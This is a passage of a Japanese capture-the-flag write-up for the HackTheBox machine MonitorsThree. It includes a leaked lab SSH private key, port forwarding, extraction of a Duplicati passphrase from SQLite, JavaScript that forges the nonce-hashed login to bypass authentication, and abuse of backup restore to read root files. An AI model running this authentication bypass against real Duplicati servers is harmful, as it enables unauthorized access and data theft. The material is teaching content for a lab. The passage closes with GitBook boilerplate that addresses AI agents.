wHvDgC5gVw+pMpXUT99Xx6pFKU3M1oYxkhh29WhmlZgvtejLnr2qjpK9+YENfERZrh0mv0
GgruxPPkgEtY+MBxr6ycuiWHDX/xFX+ioN2KN2djMqqrUFqrOFYlp8DG6FCJRbs//sRMhJ
bwi2Iob2vuHV8rDhmRRq12iEHvWEL6wBhcpFYpVk+R7XZ5G4uylCzs27K9bUEW7iduys5a
ePG4B4U5NV3mDhdJBYtbuvwFdL7J+eD8rplhdQ3ICwFNC1uQAAAMEA03BUDMSJG6AuE6f5
U7UIb+k/QmCzphZ82az3Wa4mo3qAqulBkWQn65fVO+4fKY0YwIH99puaEn2OKzAGqH1hj2
y7xTo2s8fvepCx+MWL9D3R9y+daUeH1dBdxjUE2gosC+64gA2iF0VZ5qDZyq4ShKE0A+Wq
4sTOk1lxZI4pVbNhmCMyjbJ5fnWYbd8Z5MwlqmlVNzZuC+LQlKpKhPBbcECZ6Dhhk5Pskh
316YytN50Ds9f+ueqxGLyqY1rHiMrDAAAAwQDN4jV+izw84eQ86/8Pp3OnoNjzxpvsmfMP
BwoTYySkRgDFLkh/hzw04Q9551qKHfU9/jBg9BH1cAyZ5rV/9oLjdEP7EiOhncw6RkRRsb
e8yphoQ7OzTZ0114YRKdafVoDeb0twpV929S3I1Jxzj+atDnokrb8/uaPvUJo2B0eDOc7T
z6ZnzxAqKz1tUUcqYYxkCazMN+0Wx1qtallhnLjy+YaExM+uMHngJvVs9zJ2iFdrpBm/bt
PA4EYA8sgHR2kAAAAUbWFyY3VzQG1vbml0b3JzdGhyZWUBAgMEBQYH
-----END OPENSSH PRIVATE KEY-----
```

まず、次のコマンドを使って内部で開いているポートを確認します:

```bash
netstat -nltp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8d053166ee1ab6fb5b06f83004d08ac6d65366f%2Fimage%20(1153).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

内部ポートを **8200** サーバーからローカルマシンへ転送し、ブラウザからアクセスできるようにします。この転送はSSHで次のコマンドを使って行えます:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Duplicatiの悪用:

### Duplicatiのログイン認証バイパス

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

ターゲットマシンの分析中に、 **Duplicati** Webポータルが見つかりました。このポータルにはパスワードを要求する認証パネルがありました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3713f1a3fbec1c41b3d7af38f439913b9edd3cb5%2Fimage%20(1154).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicatiは、ローカルファイルの暗号化された増分・圧縮リモートバックアップを、クラウドストレージサービスやファイルサーバーに安全に保存するバックアップクライアントです
{% endhint %}

システムを調査すると、Duplicatiの設定ディレクトリが `/opt/duplicati`にあることがわかりました。というSQLiteファイル `Duplicati-server.sqlite` は、機密情報を含んでいる可能性があると特定されました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3659d617d82c19eda40347f5276d6553340f9ef6%2Fimage%20(2780).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SQLiteファイルをダウンロード

このファイルを分析するために、Python HTTPサーバーを使ってローカルマシンにダウンロードしました:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efe31a5256f4256a9f63df4d4e53f184cab8d4b3%2Fimage%20(2781).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SQLiteファイルの分析

内容を確認するために、 `sqlite3` ツールでファイルを開きました:

```bash
sqlite3 Duplicati-server.sqlite
```

テーブル一覧を表示し、 `option` テーブルをデータ抽出のために選択しました:

```sql
.tables
select * from option;
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a80f31d2acb35cde919689b55884405bd3a17101%2Fimage%20(2782).png?alt=media" alt=""><figcaption></figcaption></figure>

| キー                                | 値                                              |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### パスフレーズの変換

の値は `server-passphrase` Base64でエンコードされています。これをデコードして16進数形式に変換するには、次のコマンドを使用します:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e8ada8f70f353528ef9fa163fe737c9fd913306%2Fimage%20(2783).png?alt=media" alt=""><figcaption></figcaption></figure>

#### その結果、次の16進数値が得られました:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### 最終パスワードの計算

最終パスワードを生成するために、ブラウザのコンソールで次の手順を実行しました:

**ソルト付きパスフレーズの定義**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Burp Suiteによるリクエストの傍受

リクエストを傍受し、これを intercept -> answer に送ってから Forward をクリックします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cd01fdce852fa48a741c3f2a90774fc905cf564%2F%7BD32B0164-BE76-43A0-886A-887493EBC35D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

with によりHTTPクエリが傍受され、 **Burp Suite** 次の情報が明らかになりました:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c452f21a088cd9dccd3ed762918ccf58d19c724%2F%7B1DC9B5E1-4BE2-43F3-85F3-81AB8284C7CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```json
{
  「ステータス」: 「OK」,
  「Nonce」: 「ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=」,
  「Salt」: 「xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=」
}
```

このフィールド `ソルト` は次の値に対応します `server-passphrase-salt` データベースから抽出された

**Nonceパスワードの計算:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**結果の表示**:

```javascript
console.log(noncedpwd);
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad6a7a6df22f225bccee80276495f8da69ff3535%2F%7B1FC41904-8825-46A9-9E12-790CD32A19EE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

生成されたパスワード（`noncedpwd`）は次のとおり：

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### パスワードの注入と操作

1. 計算したパスワードをコピーして貼り付けます。
2. 使用する **Ctrl + U** でURLエンコードする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ceb57963c9a946cd6505519506a662752f2c5da%2F%7B76B808E8-6390-4783-BB98-7BDC96D14014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. クリックする **転送** 操作を完了するために、もう一度。

### Duplicatiバックアップによるファイルの読み取り

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f647d0efc993987e0f41ba16071fe595f116a3b4%2F%7BC96AF78B-42D3-40F0-9D12-AFBFE252A742%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これで **Duplicati管理パネル**へアクセスできるようになったので、 **SSH** 鍵

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63fd287f3c3821203f862badfd09a721522c73c5%2F%7BC581B276-030B-4F73-8D7F-FD97292E159D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Docker設定の分析**/ これを観察すると、 `docker-compose.yml` ファイルによって、ファイルが **ソース** ホストシステムのディレクトリに保存されており、それがコンテナにマウントされていることがわかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f75ef1ff85fa80518ad9b88949df7f9fac07fb22%2F%7B107BE729-A34A-4F6E-B0DB-91C479FB46A3%7D.png?alt=media" alt="" width="541"><figcaption></figcaption></figure>

**対象ディレクトリの選択**/ 機密ファイルにアクセスできるようにするため、 **backup** の保存先をこのディレクトリに設定するには、次を選択します:

* **ソースファイル**: `/source/home/marcus/`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0c4380caa27ceef9c18a8cb7286206d1b61a39%2F%7B05793313-D41C-4DBC-A0CA-DEC0A07890FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* **ソースデータ：** `source/root/`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-057b589f5a5506d824d8788f81a40dd35afa5dd5%2F%7B2D9AB280-A31A-4777-B3E3-FA09A52CFC4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**設定の完了**

* 設定を保存します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cfeec3c143b8e52ad9368e659839bb40f071fb8b%2F%7BA0AEFD64-7E82-4546-A016-7CC67F8E0BF5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 実行 **保存** 対象ファイルを復元します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-940de8919cd61a1fbba989928fc302b0bc7150f4%2Fimage%20(768).png?alt=media" alt=""><figcaption></figcaption></figure>

### 保存されたファイルの抽出

の実行後、 **backup**3つのZIPアーカイブが生成されます。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6099c67d2c9f9e37168585614a7b85cc1c774d14%2F%7B3FC97933-3DD0-4039-BDE0-6B62873924D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* **ファイルへのアクセス**
  * アクセス制限のため、ファイルを直接開く試みは失敗します。
  * しかし、 **Duplicati**、使用します **ファイルを復元** オプションで内容を復元できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec54e3f0ed8ea4d007256c161d0ffdfe656eeac8%2F%7B02FC31AE-3131-47E1-9403-9CCBB58EA1FF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**復元して持ち出す**

* バックアップからファイルを抽出します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50ccf3216d56749d24bdc6afd7726dab7ae3d52e%2F%7BCD5A6CE4-10C7-4C87-AA56-90B2B3119F1F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

フォルダの選択 **`/source/home/marcus/`** を復元元として。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b76f42db8dee5c034085221758048575b8465f%2F%7BAE27CF6D-8AC7-4CF2-BE09-04E27D1C2E4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26ab313940673dc83beef4151061f8d03385b96f%2F%7B2243C849-3106-4083-B692-2F0EE5A311B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt フラグ :)

復元後、ファイルを調査して **`root.txt`**!

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b90a68b3e6796cbb95ac66eac66b6a891278868%2F%7BBB28CC4D-9D4B-43E6-B897-344EE8FD4633%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-598850ed80d6678a864ff828504eebc2368b3658%2F%7B75183C58-54A6-43F6-9777-14AD6EFC0473%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
